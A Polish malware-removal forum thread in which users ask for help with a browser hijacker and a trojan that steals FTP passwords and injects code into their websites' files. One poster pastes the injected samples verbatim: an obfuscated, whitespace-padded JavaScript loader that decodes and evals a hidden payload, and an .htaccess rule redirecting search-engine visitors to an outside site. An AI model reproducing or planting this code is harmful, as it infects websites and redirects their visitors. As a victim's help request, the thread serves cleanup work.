menar

Witam mam problem zainstalował mi się Qvo6 i hxxp://websearch.youwillfind.info/?r=2013/04/30 w przeglądarkach przez to pojawiają sie dziwne linki w tresciach stron itd. Prosze o pomoc

OTL.Txt

Extras.Txt

Problem o ktorym pisze to js:iframe-xj[trj]

do serwera FTP dostał sie trojan z mojego komputera, dodaje on do plikow index. httecss oraz .js rozne kody np.

/*336988*/
																																																																																																															  try{window.document.body++}catch(gdsgsdg){dbshre=152;}if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}ss=String;asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,98,93,24,54,26,95,102,91,110,103,96,101,108,39,93,109,92,89,109,95,64,99,93,102,95,105,107,32,32,99,97,105,89,102,95,34,32,51,6,4,8,1,24,25,26,27,94,94,39,109,109,90,24,54,26,34,95,108,109,106,53,38,39,92,105,106,103,101,90,110,109,96,112,39,99,111,38,91,101,99,94,98,93,107,40,107,95,104,32,53,8,1,24,25,26,27,94,94,39,109,111,112,100,94,40,107,102,107,98,110,100,102,102,25,55,27,30,89,91,109,106,99,109,109,95,34,50,5,3,26,27,23,24,96,96,41,106,108,114,102,96,37,90,104,108,95,92,106,25,55,27,30,40,32,53,8,1,24,25,26,27,94,94,39,109,111,112,100,94,40,99,92,97,96,98,111,23,53,25,33,44,103,112,32,53,8,1,24,25,26,27,94,94,39,109,111,112,100,94,40,114,96,92,109,98,27,52,24,32,43,107,111,31,52,7,5,23,24,25,26,98,93,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,96,96,41,106,108,114,102,96,37,108,104,106,27,52,24,32,43,107,111,31,52,7,5,4,2,25,26,27,23,97,95,26,35,24,92,10 4,93,112,100,93,103,110,41,94,93,109,63,103,92,101,94,104,111,57,113,66,94,35,30,95,95,33,36,32,24,116,7,5,23,24,25,26,27,23,24,25,94,106,90,109,102,95,105,107,38,112,108,100,107,93,33,33,55,91,97,111,26,100,91,53,85,33,98,93,84,32,56,55,38,92,98,112,57,30,33,52,7,5,23,24,25,26,27,23,24,25,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,97,97,30,33,39,91,107,103,93,103,94,62,95,97,101,94,35,94,94,34,53,8,1,24,25,26,27,116,5,3,119,36,31,33,52);s="";for(i=0;i-458!=0;i++){if((020==0x10)&&window.document)s+=ss["fromCharCode"](1*asgq[i]-(i%5-5-4));}z=s;e(s);}
/*/336988*/

albo

#336988#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|p ocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://coopmatrix.it/clicker.php [R=301,L]
</IfModule>
#/336988#

strony przestają działać

zmieniłem juz hasło na ftp, i dalem chmode na pliki 444

z tego co wyczytałem to wirus ktory wyciaga hasal z np. Total Commander i sam sobie wchodzi i to robi, no ale gdzies on na tym komputerze musi być ulokowany jakoś trzeba go wywalić?

zobaczymy czy to wroci

OTL.Txt

AdwCleanerS2.txt

WItam mam zainfekowany komputer trojanem jakims ktory wbija sie na serwery FTP zmieniajac kod plikow i blokujac strony avast wykrywa js:iframe-xj[trj]

Prosze o pomoc bo nie daje rady juz z tym...

OTL.Txt

Extras.Txt